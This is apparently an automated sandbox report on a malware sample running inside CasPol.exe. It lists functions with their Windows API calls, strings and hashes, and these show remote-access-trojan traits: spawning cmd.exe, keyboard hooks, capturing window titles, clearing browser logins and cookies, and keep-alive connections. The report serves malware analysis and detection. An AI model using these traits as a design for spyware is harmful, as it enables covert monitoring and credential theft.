                                                                                    Function 0044AA73 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 0044AAC9
                                                                                    • GetLastError.KERNEL32(?,0044A991,`@,0046DD28,0000000C), ref: 0044AAD3
                                                                                    • __dosmaperr.LIBCMT ref: 0044AAFE
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseErrorHandleLast__dosmaperr
                                                                                    • String ID: `@
                                                                                    • API String ID: 2583163307-951712118
                                                                                    • Opcode ID: e5cf9cf0863519c22c59f520a66439faf8bffb0939932f5db486048d3d382d3d
                                                                                    • Instruction ID: 1bd3c876d7044edfb1a6812000b34c32b622226010ed5631802de8abdb52b33d
                                                                                    • Opcode Fuzzy Hash: e5cf9cf0863519c22c59f520a66439faf8bffb0939932f5db486048d3d382d3d
                                                                                    • Instruction Fuzzy Hash: F8018E366446201AF7206674698577F77898B82738F2A027FF904972D2DE6DCCC5C19F
                                                                                    Function 00404B29 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47synchronizationCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00404B26), ref: 00404B40
                                                                                    • CloseHandle.KERNEL32(?), ref: 00404B98
                                                                                    • SetEvent.KERNEL32(?,?,?,?,00404B26), ref: 00404BA7
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseEventHandleObjectSingleWait
                                                                                    • String ID: Connection Timeout
                                                                                    • API String ID: 2055531096-499159329
                                                                                    • Opcode ID: 9041f7ae570b413ce327d744802055146d1c38930b1ad49fa8d24b0939116539
                                                                                    • Instruction ID: ea4abd021a31a941d528121f8d879e106695b0b6a7a7fd2d86c7f06b9a048df4
                                                                                    • Opcode Fuzzy Hash: 9041f7ae570b413ce327d744802055146d1c38930b1ad49fa8d24b0939116539
                                                                                    • Instruction Fuzzy Hash: 7A01F5B1940B41AFD325BB3A9C4645ABBE4AB45315700053FF6D392BB1DA38E8408B5A
                                                                                    Function 0040CDBE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • std::_Lockit::_Lockit.LIBCPMT ref: 0040CDC9
                                                                                    • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040CE08
                                                                                      • Part of subcall function 004347BD: _Yarn.LIBCPMT ref: 004347DC
                                                                                      • Part of subcall function 004347BD: _Yarn.LIBCPMT ref: 00434800
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 0040CE2C
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                                                                                    • String ID: bad locale name
                                                                                    • API String ID: 3628047217-1405518554
                                                                                    • Opcode ID: 2c952230bb5508a40ba9b400b3509c8dd800ec2376424fb743b9d3d13ecaa97f
                                                                                    • Instruction ID: 69d9b4558c1556c2c918d31b5ea24064f6fee533cc814fb99c42b36f0b05f267
                                                                                    • Opcode Fuzzy Hash: 2c952230bb5508a40ba9b400b3509c8dd800ec2376424fb743b9d3d13ecaa97f
                                                                                    • Instruction Fuzzy Hash: 1AF08171400204EAC724FB23D853ACA73A49F54748F90497FB506214D2EF38A618CA8C
                                                                                    Function 00433519 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • EnterCriticalSection.KERNEL32(3_,?,00475D2C,?,0040AE8B,00475D2C,?,00000000,00000000), ref: 00433524
                                                                                    • LeaveCriticalSection.KERNEL32(3_,?,0040AE8B,00475D2C,?,00000000,00000000), ref: 00433561
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CriticalSection$EnterLeave
                                                                                    • String ID: 3_
                                                                                    • API String ID: 3168844106-3952000457
                                                                                    • Opcode ID: 97ce4b70741a8752aef3079d61089a2df4877ff1716f52a94071c7f108fad3c5
                                                                                    • Instruction ID: d318cb0226c5d447ce74583d96cc59832d3f821062a5fa353a3f477e8fff4020
                                                                                    • Opcode Fuzzy Hash: 97ce4b70741a8752aef3079d61089a2df4877ff1716f52a94071c7f108fad3c5
                                                                                    • Instruction Fuzzy Hash: 6BF0E231500301EFC7209F04E804B6577A4EB89B32F20023EE559873D1CB386A82CA99
                                                                                    Function 004151B2 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 004151F4
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ExecuteShell
                                                                                    • String ID: /C $cmd.exe$open
                                                                                    • API String ID: 587946157-3896048727
                                                                                    • Opcode ID: 6699625853e23096ac9cad3f7578a7bff2c993ae7ed2a6c2b658dd2f5a42760b
                                                                                    • Instruction ID: 3ae8c2b06d9b1922b9065f49b1512f2a4b1b87a12dccb2265ed1bd098505db2c
                                                                                    • Opcode Fuzzy Hash: 6699625853e23096ac9cad3f7578a7bff2c993ae7ed2a6c2b658dd2f5a42760b
                                                                                    • Instruction Fuzzy Hash: D8E030701043006AC708FB61DC95C7F77AC9A80708F10083EB542A21E2EF3CA949C65E
                                                                                    Function 0040AFBA Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20threadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • TerminateThread.KERNEL32(Function_000099A9,00000000,004742F8,pth_unenc,0040BF26,004742E0,004742F8,?,pth_unenc), ref: 0040AFC9
                                                                                    • UnhookWindowsHookEx.USER32 ref: 0040AFD5
                                                                                    • TerminateThread.KERNEL32(Function_00009993,00000000,?,pth_unenc), ref: 0040AFE3
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: TerminateThread$HookUnhookWindows
                                                                                    • String ID: pth_unenc
                                                                                    • API String ID: 3123878439-4028850238
                                                                                    • Opcode ID: 46dff24612c1799e978f47a7720dcdfa0824c6f48cf00f8dbc5bb460590095c7
                                                                                    • Instruction ID: c35477c7b81069fed5c639b3d306817a7c517f63bcb5e1090982200d4e51bed9
                                                                                    • Opcode Fuzzy Hash: 46dff24612c1799e978f47a7720dcdfa0824c6f48cf00f8dbc5bb460590095c7
                                                                                    • Instruction Fuzzy Hash: 32E01DB1209317DFD3101F546C84825B799EB44356324047FF6C155252C5798C54C759
                                                                                    Function 00401430 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 0040143A
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00401441
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressHandleModuleProc
                                                                                    • String ID: GetCursorInfo$User32.dll
                                                                                    • API String ID: 1646373207-2714051624
                                                                                    • Opcode ID: f39e1638c21b7beb4c7105e5daed03b820dcbd0345c10e5d325762a4e30a7452
                                                                                    • Instruction ID: fea3bfcfa5ad703f85b7dd8d5f3eac54d033561bc9bd2fc33d3800e380b32b62
                                                                                    • Opcode Fuzzy Hash: f39e1638c21b7beb4c7105e5daed03b820dcbd0345c10e5d325762a4e30a7452
                                                                                    • Instruction Fuzzy Hash: 51B092B868A3059BC7306BE0BD0EA093B24EA44703B1000B2F087C12A1EB7880809A6E
                                                                                    Function 004014D5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • LoadLibraryA.KERNEL32(User32.dll), ref: 004014DF
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 004014E6
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressLibraryLoadProc
                                                                                    • String ID: GetLastInputInfo$User32.dll
                                                                                    • API String ID: 2574300362-1519888992
                                                                                    • Opcode ID: 3fc7b1db73b7af1b2a271cc819159fe1e403f0356e3f7920f37c5b1d7d3a7c56
                                                                                    • Instruction ID: 425bdc246283df71b7ad83aa0519e38d385401eab2b134f4ae8d574857069069
                                                                                    • Opcode Fuzzy Hash: 3fc7b1db73b7af1b2a271cc819159fe1e403f0356e3f7920f37c5b1d7d3a7c56
                                                                                    • Instruction Fuzzy Hash: D7B092B85843849BC7202BE0BC0DA297BA4FA48B43720447AF406D11A1EB7881809F6F
                                                                                    Function 00448D0B Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: __alldvrm$_strrchr
                                                                                    • String ID:
                                                                                    • API String ID: 1036877536-0
                                                                                    • Opcode ID: 63f75d4c6ddf9dfadee5a9a28b1451e266bcc439c32975fae3941ae33d1a5297
                                                                                    • Instruction ID: 63a095292c52d92af2bf19a392fdfa9b0d117a80b68c781492b1ecdde0b53e6f
                                                                                    • Opcode Fuzzy Hash: 63f75d4c6ddf9dfadee5a9a28b1451e266bcc439c32975fae3941ae33d1a5297
                                                                                    • Instruction Fuzzy Hash: 60A168729042469FFB21CF58C8817AEBBE2EF55314F24416FE5849B382DA3C8D45C759
                                                                                    Function 00441A81 Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: d2c3ac181d975cfacaee5c3ec40136b8bdf5b2422b9dd14ab5655829a2308330
                                                                                    • Instruction ID: 90b3d0a8f148eb65ba096d855dd205fb67a40d318d5acb0a54968c3478788488
                                                                                    • Opcode Fuzzy Hash: d2c3ac181d975cfacaee5c3ec40136b8bdf5b2422b9dd14ab5655829a2308330
                                                                                    • Instruction Fuzzy Hash: 10412B71A00744AFF724AF78CC41B6ABBE8EF88714F10452FF511DB291E679A9458788
                                                                                    Function 00404688 Relevance: 6.1, APIs: 4, Instructions: 121synchronizationthreadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,?), ref: 00404778
                                                                                    • CreateThread.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 0040478C
                                                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,?,?,00000000), ref: 00404797
                                                                                    • CloseHandle.KERNEL32(?), ref: 004047A0
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Create$CloseEventHandleObjectSingleThreadWait
                                                                                    • String ID:
                                                                                    • API String ID: 3360349984-0
                                                                                    • Opcode ID: b29a8bcc01a21f7fe38ddc3438b80264c3974fc0b274f3a4a7c26760eb770a85
                                                                                    • Instruction ID: f4983b6e647f91c6eb1a16b69ab68a2f9d5597509a23169db7b615edd0c6cdea
                                                                                    • Opcode Fuzzy Hash: b29a8bcc01a21f7fe38ddc3438b80264c3974fc0b274f3a4a7c26760eb770a85
                                                                                    • Instruction Fuzzy Hash: 34417171508301ABC700FB61CC55D7FB7E9AFD5315F00093EF892A32E2EA389909866A
                                                                                    Function 0040B806 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    • Cleared browsers logins and cookies., xrefs: 0040B8EF
                                                                                    • [Cleared browsers logins and cookies.], xrefs: 0040B8DE
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Sleep
                                                                                    • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                                                                                    • API String ID: 3472027048-1236744412
                                                                                    • Opcode ID: 75935dd92c54438d520984c0fbed3049675ace49491bc7afa837b165368f9319
                                                                                    • Instruction ID: 8ec9c8031b8ac0664cfb8a22ca307bf710261ddd843e88104a77dac6ce00e7b7
                                                                                    • Opcode Fuzzy Hash: 75935dd92c54438d520984c0fbed3049675ace49491bc7afa837b165368f9319
                                                                                    • Instruction Fuzzy Hash: FA31891564C3816ACA11777514167EB6F958A93754F0884BFF8C4273E3DB7A480893EF
                                                                                    Function 00411524 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 93sleepCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 0041265D: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,00000000), ref: 00412679
                                                                                      • Part of subcall function 0041265D: RegQueryValueExA.ADVAPI32 ref: 00412692
                                                                                      • Part of subcall function 0041265D: RegCloseKey.ADVAPI32(00000000), ref: 0041269D
                                                                                    • Sleep.KERNEL32(00000BB8), ref: 004115C3
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseOpenQuerySleepValue
                                                                                    • String ID: @CG$exepath$BG
                                                                                    • API String ID: 4119054056-3221201242
                                                                                    • Opcode ID: 87f44056bfb88680dd3fb4540e9b2a816aacb5308ad949631011a61a52719725
                                                                                    • Instruction ID: 48aadeccb903c06d46a934e3c92f1fe58b0119fffb77d403c20537554d94cb98
                                                                                    • Opcode Fuzzy Hash: 87f44056bfb88680dd3fb4540e9b2a816aacb5308ad949631011a61a52719725
                                                                                    • Instruction Fuzzy Hash: C721F4A0B002042BD614B77A6C06ABF724E8BD1308F00457FBD4AA72D3DE7D9D4581AD
                                                                                    Function 00409C4B Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 0041B6E6: GetForegroundWindow.USER32 ref: 0041B6F6
                                                                                      • Part of subcall function 0041B6E6: GetWindowTextLengthW.USER32(00000000), ref: 0041B6FF
                                                                                      • Part of subcall function 0041B6E6: GetWindowTextW.USER32(00000000,00000000,00000001,00000001,00000000), ref: 0041B729
                                                                                    • Sleep.KERNEL32(000001F4), ref: 00409C95
                                                                                    • Sleep.KERNEL32(00000064), ref: 00409D1F
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Window$SleepText$ForegroundLength
                                                                                    • String ID: [ $ ]
                                                                                    • API String ID: 3309952895-93608704
                                                                                    • Opcode ID: 92cb9d2a2d6bf6289d44fec474a7e000b4a54ab88b054bee990bed59a71b9a03
                                                                                    • Instruction ID: a5f4dc9a3e016f43683dc3f70dfd76a68f9d753ffdb665cb1c6be196efeb7d0c
                                                                                    • Opcode Fuzzy Hash: 92cb9d2a2d6bf6289d44fec474a7e000b4a54ab88b054bee990bed59a71b9a03
                                                                                    • Instruction Fuzzy Hash: 4611C0325082005BD218FB25DC17AAEB7A8AF51708F40047FF542221E3EF39AE1986DF
                                                                                    Function 00442D51 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 48cf3eaabf7ece0113a3c008fb104be432a4ec3be30a454fc0a72fbc2683693e
                                                                                    • Instruction ID: e6f180ecc181abb5a77ec057abe27f8575e00a75e8bcf6cd4df5c03139e47140
                                                                                    • Opcode Fuzzy Hash: 48cf3eaabf7ece0113a3c008fb104be432a4ec3be30a454fc0a72fbc2683693e
                                                                                    • Instruction Fuzzy Hash: E10121F2A092163EB62016797DD0DA7260DDF823B8374033BF421722D2EAA88C004068
                                                                                    Function 004380F5 Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ___BuildCatchObject.LIBVCRUNTIME ref: 0043810F
                                                                                      • Part of subcall function 0043805C: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 0043808B
                                                                                      • Part of subcall function 0043805C: ___AdjustPointer.LIBCMT ref: 004380A6
                                                                                    • _UnwindNestedFrames.LIBCMT ref: 00438124
                                                                                    • __FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00438135
                                                                                    • CallCatchBlock.LIBVCRUNTIME ref: 0043815D
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
                                                                                    • String ID:
                                                                                    • API String ID: 737400349-0
                                                                                    • Opcode ID: c8370f5f766c88f9b882548d03e746073a9763e8d7037f7b78bb80a5d64990c6
                                                                                    • Instruction ID: 9a8277e88b86f5caaa8344fd0510e130f37262ecddc885b6c63592dc4fca678f
                                                                                    • Opcode Fuzzy Hash: c8370f5f766c88f9b882548d03e746073a9763e8d7037f7b78bb80a5d64990c6
                                                                                    • Instruction Fuzzy Hash: 09014032100208BBDF126E96CC45DEB7B69EF4C758F04500DFE4866121C739E861DBA8
                                                                                    Function 0041850C Relevance: 6.0, APIs: 4, Instructions: 49COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetSystemMetrics.USER32(0000004C,?,?,?,?,?,004185D2,?,?), ref: 00418519
                                                                                    • GetSystemMetrics.USER32(0000004D,?,?,?,?,?,004185D2,?,?), ref: 0041851F
                                                                                    • GetSystemMetrics.USER32(0000004E,?,?,?,?,?,004185D2,?,?), ref: 00418525
                                                                                    • GetSystemMetrics.USER32(0000004F,?,?,?,?,?,004185D2,?,?), ref: 0041852B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: MetricsSystem
                                                                                    • String ID:
                                                                                    • API String ID: 4116985748-0
                                                                                    • Opcode ID: 5cbd94679aa6c8e7ceff70e29103114ee131790299e318eb9a9968d7a4031cfb
                                                                                    • Instruction ID: 928f1b056b10b768f566869b0c9e39fed015f0adb742d9b99f9daccd71f82e50
                                                                                    • Opcode Fuzzy Hash: 5cbd94679aa6c8e7ceff70e29103114ee131790299e318eb9a9968d7a4031cfb
                                                                                    • Instruction Fuzzy Hash: 96F0D672B043216BCA00EA798C4556FBB97DFD02A4F25083FE6059B341DEB8EC4687D9
                                                                                    Function 0041B37D Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041B395
                                                                                    • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041B3A8
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 0041B3D3
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 0041B3DB
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseHandleOpenProcess
                                                                                    • String ID:
                                                                                    • API String ID: 39102293-0
                                                                                    • Opcode ID: db4a41822c85b6549257f18fa46790b7e5e5d5e6a524df97c50e7420b53bdc77
                                                                                    • Instruction ID: bb9aee54fd4b55ef2446b45ef4d52834339351c189d8e7c886657dc3bd6b5f1d
                                                                                    • Opcode Fuzzy Hash: db4a41822c85b6549257f18fa46790b7e5e5d5e6a524df97c50e7420b53bdc77
                                                                                    • Instruction Fuzzy Hash: 2FF04971204209ABD3106754AC4AFA7B27CDB40B96F000037FA61D22A1FFB4CCC146AE
                                                                                    Function 00441EDD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __startOneArgErrorHandling.LIBCMT ref: 00441F6D
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorHandling__start
                                                                                    • String ID: pow
                                                                                    • API String ID: 3213639722-2276729525
                                                                                    • Opcode ID: c11d7b0c0eb8e10153fe90c38a808d625a788e1790705f3c08302100bb714254
                                                                                    • Instruction ID: c296867054112a427edbdd16b3baf579c6faf9d8481746a729c2ad46b2c40409
                                                                                    • Opcode Fuzzy Hash: c11d7b0c0eb8e10153fe90c38a808d625a788e1790705f3c08302100bb714254
                                                                                    • Instruction Fuzzy Hash: 2A517B61A1620196F7117714C98137F2BD0DB50741F688D6BF085423F9DF3D8CDA9A4E
                                                                                    Function 00414B9B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 163COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CountEventTick
                                                                                    • String ID: >G
                                                                                    • API String ID: 180926312-1296849874
                                                                                    • Opcode ID: 6a2e37af2b2965e7e349e1a05c76d81f2dd9085fabbfdf98e649505a5dad8799
                                                                                    • Instruction ID: d5b3ec7783a4dd7183bbf31121b5a8e130ff38f85bff4fd723ced1f164cd3d8d
                                                                                    • Opcode Fuzzy Hash: 6a2e37af2b2965e7e349e1a05c76d81f2dd9085fabbfdf98e649505a5dad8799
                                                                                    • Instruction Fuzzy Hash: 1A5170315042409AC624FB71D8A2AEF73A5AFD1314F40853FF94A671E2EF389949C69A
                                                                                    Function 004508DE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00450B39,?,00000050,?,?,?,?,?), ref: 004509B9
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: ACP$OCP
                                                                                    • API String ID: 0-711371036
                                                                                    • Opcode ID: c357b999de04d1742fe2857fcf8a245ff63c46433d95171d83c673f3fe2cd13c
                                                                                    • Instruction ID: 7e3e8aaac6bfe0b7539266298c93f9b0706a3ab6a9e9f394231f134d2b8bf5b7
                                                                                    • Opcode Fuzzy Hash: c357b999de04d1742fe2857fcf8a245ff63c46433d95171d83c673f3fe2cd13c
                                                                                    • Instruction Fuzzy Hash: 072138EAA04201A6F7348B558801B9B7396AF54B23F164826EC49D730BF739DD49C358
                                                                                    Function 004049BA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68timeCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocalTime.KERNEL32(?,00473EE8,004745A8,?,?,?,?,?,?,?,00414D7D,?,00000001,0000004C,00000000), ref: 004049F1
                                                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                    • GetLocalTime.KERNEL32(?,00473EE8,004745A8,?,?,?,?,?,?,?,00414D7D,?,00000001,0000004C,00000000), ref: 00404A4E
                                                                                    Strings
                                                                                    • KeepAlive | Enabled | Timeout: , xrefs: 004049E5
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LocalTime
                                                                                    • String ID: KeepAlive | Enabled | Timeout:
                                                                                    • API String ID: 481472006-1507639952
                                                                                    • Opcode ID: dc814d6e6e9b329a3c520177c865058c28860881db4f8f765c6194f4c7b1d50e
                                                                                    • Instruction ID: fa495feba5854bec2644a8330ceabc5ae1d4c14ac10d4033695aa89a80f4fa5c
                                                                                    • Opcode Fuzzy Hash: dc814d6e6e9b329a3c520177c865058c28860881db4f8f765c6194f4c7b1d50e
                                                                                    • Instruction Fuzzy Hash: 5A2126A1A042806BC310FB6AD80A76B7B9497D1319F44407EF849532E2DB3C5999CB9F
